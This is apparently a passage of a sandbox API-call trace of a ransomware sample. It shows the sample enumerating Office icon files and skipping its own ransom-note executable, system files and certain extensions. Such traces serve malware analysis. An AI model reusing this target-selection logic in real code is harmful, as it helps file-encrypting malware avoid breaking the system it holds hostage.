	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="perflogs") returned -1
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="MSBuild") returned -1
	[0070.652] lstrlenW (lpString="INCOMING.ICO") returned 12
	[0070.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67
	[0070.652] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="INCOMING.ICO" | out: lpString1="INCOMING.ICO") returned="INCOMING.ICO"
	[0070.652] lstrlenW (lpString="INCOMING.ICO") returned 12
	[0070.652] lstrlenW (lpString="Apollon865") returned 10
	[0070.652] lstrcmpiW (lpString1="COMING.ICO", lpString2="Apollon865") returned 1
	[0070.652] lstrlenW (lpString=".dll") returned 4
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2=".dll") returned 1
	[0070.652] lstrlenW (lpString=".lnk") returned 4
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2=".lnk") returned 1
	[0070.652] lstrlenW (lpString=".ini") returned 4
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2=".ini") returned 1
	[0070.652] lstrlenW (lpString=".sys") returned 4
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2=".sys") returned 1
	[0070.652] lstrlenW (lpString="INCOMING.ICO") returned 12
	[0070.652] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INDOMAIN.ICO", cAlternateFileName="")) returned 1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2=".") returned 1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="..") returned 1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="windows") returned -1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="bootmgr") returned 1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="temp") returned -1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="pagefile.sys") returned -1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="boot") returned 1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="ids.txt") returned 1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="ntuser.dat") returned -1
	[0070.652] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="perflogs") returned -1
	[0070.653] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2="MSBuild") returned -1
	[0070.653] lstrlenW (lpString="INDOMAIN.ICO") returned 12
	[0070.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72
	[0070.653] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="INDOMAIN.ICO" | out: lpString1="INDOMAIN.ICO") returned="INDOMAIN.ICO"
	[0070.653] lstrlenW (lpString="INDOMAIN.ICO") returned 12
	[0070.653] lstrlenW (lpString="Apollon865") returned 10
	[0070.653] lstrcmpiW (lpString1="DOMAIN.ICO", lpString2="Apollon865") returned 1
	[0070.653] lstrlenW (lpString=".dll") returned 4
	[0070.653] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2=".dll") returned 1
	[0070.653] lstrlenW (lpString=".lnk") returned 4
	[0070.653] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2=".lnk") returned 1
	[0070.670] lstrlenW (lpString=".ini") returned 4
	[0070.670] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2=".ini") returned 1
	[0070.670] lstrlenW (lpString=".sys") returned 4
	[0070.670] lstrcmpiW (lpString1="INDOMAIN.ICO", lpString2=".sys") returned 1
	[0070.670] lstrlenW (lpString="INDOMAIN.ICO") returned 12
	[0070.670] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MAIL.ICO", cAlternateFileName="")) returned 1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2=".") returned 1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="..") returned 1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="windows") returned -1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="bootmgr") returned 1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="temp") returned -1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="pagefile.sys") returned -1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="boot") returned 1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="ids.txt") returned 1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="ntuser.dat") returned -1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="perflogs") returned -1
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2="MSBuild") returned -1
	[0070.670] lstrlenW (lpString="MAIL.ICO") returned 8
	[0070.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72
	[0070.670] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="MAIL.ICO" | out: lpString1="MAIL.ICO") returned="MAIL.ICO"
	[0070.670] lstrlenW (lpString="MAIL.ICO") returned 8
	[0070.670] lstrlenW (lpString="Apollon865") returned 10
	[0070.670] lstrlenW (lpString=".dll") returned 4
	[0070.670] lstrcmpiW (lpString1="MAIL.ICO", lpString2=".dll") returned 1
	[0070.670] lstrlenW (lpString=".lnk") returned 4
	[0070.671] lstrcmpiW (lpString1="MAIL.ICO", lpString2=".lnk") returned 1
	[0070.671] lstrlenW (lpString=".ini") returned 4
	[0070.671] lstrcmpiW (lpString1="MAIL.ICO", lpString2=".ini") returned 1
	[0070.671] lstrlenW (lpString=".sys") returned 4
	[0070.671] lstrcmpiW (lpString1="MAIL.ICO", lpString2=".sys") returned 1
	[0070.671] lstrlenW (lpString="MAIL.ICO") returned 8
	[0070.671] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MANUAL.ICO", cAlternateFileName="")) returned 1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2=".") returned 1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="..") returned 1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="windows") returned -1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="bootmgr") returned 1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="temp") returned -1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="pagefile.sys") returned -1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="boot") returned 1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="ids.txt") returned 1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="ntuser.dat") returned -1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="perflogs") returned -1
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2="MSBuild") returned -1
	[0070.671] lstrlenW (lpString="MANUAL.ICO") returned 10
	[0070.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68
	[0070.671] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="MANUAL.ICO" | out: lpString1="MANUAL.ICO") returned="MANUAL.ICO"
	[0070.671] lstrlenW (lpString="MANUAL.ICO") returned 10
	[0070.671] lstrlenW (lpString="Apollon865") returned 10
	[0070.671] lstrlenW (lpString=".dll") returned 4
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2=".dll") returned 1
	[0070.671] lstrlenW (lpString=".lnk") returned 4
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2=".lnk") returned 1
	[0070.671] lstrlenW (lpString=".ini") returned 4
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2=".ini") returned 1
	[0070.671] lstrlenW (lpString=".sys") returned 4
	[0070.671] lstrcmpiW (lpString1="MANUAL.ICO", lpString2=".sys") returned 1
	[0070.671] lstrlenW (lpString="MANUAL.ICO") returned 10
	[0070.672] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="messageboxalert.ico", cAlternateFileName="MESSAG~2.ICO")) returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2=".") returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="..") returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="windows") returned -1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="bootmgr") returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="temp") returned -1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="pagefile.sys") returned -1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="boot") returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="ids.txt") returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="ntuser.dat") returned -1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="perflogs") returned -1
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2="MSBuild") returned -1
	[0070.672] lstrlenW (lpString="messageboxalert.ico") returned 19
	[0070.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70
	[0070.672] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="messageboxalert.ico" | out: lpString1="messageboxalert.ico") returned="messageboxalert.ico"
	[0070.672] lstrlenW (lpString="messageboxalert.ico") returned 19
	[0070.672] lstrlenW (lpString="Apollon865") returned 10
	[0070.672] lstrcmpiW (lpString1="xalert.ico", lpString2="Apollon865") returned 1
	[0070.672] lstrlenW (lpString=".dll") returned 4
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2=".dll") returned 1
	[0070.672] lstrlenW (lpString=".lnk") returned 4
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2=".lnk") returned 1
	[0070.672] lstrlenW (lpString=".ini") returned 4
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2=".ini") returned 1
	[0070.672] lstrlenW (lpString=".sys") returned 4
	[0070.672] lstrcmpiW (lpString1="messageboxalert.ico", lpString2=".sys") returned 1
	[0070.672] lstrlenW (lpString="messageboxalert.ico") returned 19
	[0070.672] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="messageboxerror.ico", cAlternateFileName="MESSAG~1.ICO")) returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.672] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2=".") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="..") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="windows") returned -1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="bootmgr") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="temp") returned -1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="pagefile.sys") returned -1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="boot") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="ids.txt") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="ntuser.dat") returned -1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="perflogs") returned -1
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2="MSBuild") returned -1
	[0070.673] lstrlenW (lpString="messageboxerror.ico") returned 19
	[0070.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79
	[0070.673] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="messageboxerror.ico" | out: lpString1="messageboxerror.ico") returned="messageboxerror.ico"
	[0070.673] lstrlenW (lpString="messageboxerror.ico") returned 19
	[0070.673] lstrlenW (lpString="Apollon865") returned 10
	[0070.673] lstrcmpiW (lpString1="xerror.ico", lpString2="Apollon865") returned 1
	[0070.673] lstrlenW (lpString=".dll") returned 4
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2=".dll") returned 1
	[0070.673] lstrlenW (lpString=".lnk") returned 4
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2=".lnk") returned 1
	[0070.673] lstrlenW (lpString=".ini") returned 4
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2=".ini") returned 1
	[0070.673] lstrlenW (lpString=".sys") returned 4
	[0070.673] lstrcmpiW (lpString1="messageboxerror.ico", lpString2=".sys") returned 1
	[0070.673] lstrlenW (lpString="messageboxerror.ico") returned 19
	[0070.673] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="messageboxinfo.ico", cAlternateFileName="MESSAG~3.ICO")) returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2=".") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="..") returned 1
	[0070.673] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="windows") returned -1
	[0070.673] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="bootmgr") returned 1
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="temp") returned -1
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="pagefile.sys") returned -1
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="boot") returned 1
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="ids.txt") returned 1
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="ntuser.dat") returned -1
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="perflogs") returned -1
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2="MSBuild") returned -1
	[0070.674] lstrlenW (lpString="messageboxinfo.ico") returned 18
	[0070.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79
	[0070.674] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="messageboxinfo.ico" | out: lpString1="messageboxinfo.ico") returned="messageboxinfo.ico"
	[0070.674] lstrlenW (lpString="messageboxinfo.ico") returned 18
	[0070.674] lstrlenW (lpString="Apollon865") returned 10
	[0070.674] lstrcmpiW (lpString1="oxinfo.ico", lpString2="Apollon865") returned 1
	[0070.674] lstrlenW (lpString=".dll") returned 4
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2=".dll") returned 1
	[0070.674] lstrlenW (lpString=".lnk") returned 4
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2=".lnk") returned 1
	[0070.674] lstrlenW (lpString=".ini") returned 4
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2=".ini") returned 1
	[0070.674] lstrlenW (lpString=".sys") returned 4
	[0070.674] lstrcmpiW (lpString1="messageboxinfo.ico", lpString2=".sys") returned 1
	[0070.674] lstrlenW (lpString="messageboxinfo.ico") returned 18
	[0070.674] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1608e400, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1608e400, ftLastWriteTime.dwHighDateTime=0x1ca03f6, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ModifiedTelespace.ico", cAlternateFileName="MODIFI~1.ICO")) returned 1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2=".") returned 1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="..") returned 1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="windows") returned -1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="bootmgr") returned 1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="temp") returned -1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="pagefile.sys") returned -1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="boot") returned 1
	[0070.674] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="ids.txt") returned 1
	[0070.675] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="ntuser.dat") returned -1
	[0070.675] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="perflogs") returned -1
	[0070.675] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2="MSBuild") returned -1
	[0070.675] lstrlenW (lpString="ModifiedTelespace.ico") returned 21
	[0070.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78
	[0070.675] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ModifiedTelespace.ico" | out: lpString1="ModifiedTelespace.ico") returned="ModifiedTelespace.ico"
	[0070.675] lstrlenW (lpString="ModifiedTelespace.ico") returned 21
	[0070.675] lstrlenW (lpString="Apollon865") returned 10
	[0070.675] lstrcmpiW (lpString1="espace.ico", lpString2="Apollon865") returned 1
	[0070.675] lstrlenW (lpString=".dll") returned 4
	[0070.675] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2=".dll") returned 1
	[0070.675] lstrlenW (lpString=".lnk") returned 4
	[0070.675] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2=".lnk") returned 1
	[0070.675] lstrlenW (lpString=".ini") returned 4
	[0070.675] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2=".ini") returned 1
	[0070.675] lstrlenW (lpString=".sys") returned 4
	[0070.675] lstrcmpiW (lpString1="ModifiedTelespace.ico", lpString2=".sys") returned 1
	[0070.675] lstrlenW (lpString="ModifiedTelespace.ico") returned 21
	[0070.675] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x596e79b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFLINE.ICO", cAlternateFileName="")) returned 1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2=".") returned 1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="..") returned 1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="windows") returned -1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="bootmgr") returned 1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="temp") returned -1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="pagefile.sys") returned -1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="boot") returned 1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="ids.txt") returned 1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="ntuser.dat") returned 1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="perflogs") returned -1
	[0070.675] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2="MSBuild") returned 1
	[0070.675] lstrlenW (lpString="OFFLINE.ICO") returned 11
	[0070.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81
	[0070.676] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="OFFLINE.ICO" | out: lpString1="OFFLINE.ICO") returned="OFFLINE.ICO"
	[0070.676] lstrlenW (lpString="OFFLINE.ICO") returned 11
	[0070.676] lstrlenW (lpString="Apollon865") returned 10
	[0070.676] lstrcmpiW (lpString1="FFLINE.ICO", lpString2="Apollon865") returned 1
	[0070.676] lstrlenW (lpString=".dll") returned 4
	[0070.676] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2=".dll") returned 1
	[0070.676] lstrlenW (lpString=".lnk") returned 4
	[0070.676] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2=".lnk") returned 1
	[0070.676] lstrlenW (lpString=".ini") returned 4
	[0070.676] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2=".ini") returned 1
	[0070.676] lstrlenW (lpString=".sys") returned 4
	[0070.676] lstrcmpiW (lpString1="OFFLINE.ICO", lpString2=".sys") returned 1
	[0070.676] lstrlenW (lpString="OFFLINE.ICO") returned 11
	[0070.676] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONLINE.ICO", cAlternateFileName="")) returned 1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2=".") returned 1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="..") returned 1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="windows") returned -1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="bootmgr") returned 1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="temp") returned -1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="pagefile.sys") returned -1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="boot") returned 1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="ids.txt") returned 1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="ntuser.dat") returned 1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="perflogs") returned -1
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2="MSBuild") returned 1
	[0070.676] lstrlenW (lpString="ONLINE.ICO") returned 10
	[0070.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71
	[0070.676] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ONLINE.ICO" | out: lpString1="ONLINE.ICO") returned="ONLINE.ICO"
	[0070.676] lstrlenW (lpString="ONLINE.ICO") returned 10
	[0070.676] lstrlenW (lpString="Apollon865") returned 10
	[0070.676] lstrlenW (lpString=".dll") returned 4
	[0070.676] lstrcmpiW (lpString1="ONLINE.ICO", lpString2=".dll") returned 1
	[0070.676] lstrlenW (lpString=".lnk") returned 4
	[0070.677] lstrcmpiW (lpString1="ONLINE.ICO", lpString2=".lnk") returned 1
	[0070.677] lstrlenW (lpString=".ini") returned 4
	[0070.677] lstrcmpiW (lpString1="ONLINE.ICO", lpString2=".ini") returned 1
	[0070.677] lstrlenW (lpString=".sys") returned 4
	[0070.677] lstrcmpiW (lpString1="ONLINE.ICO", lpString2=".sys") returned 1
	[0070.677] lstrlenW (lpString="ONLINE.ICO") returned 10
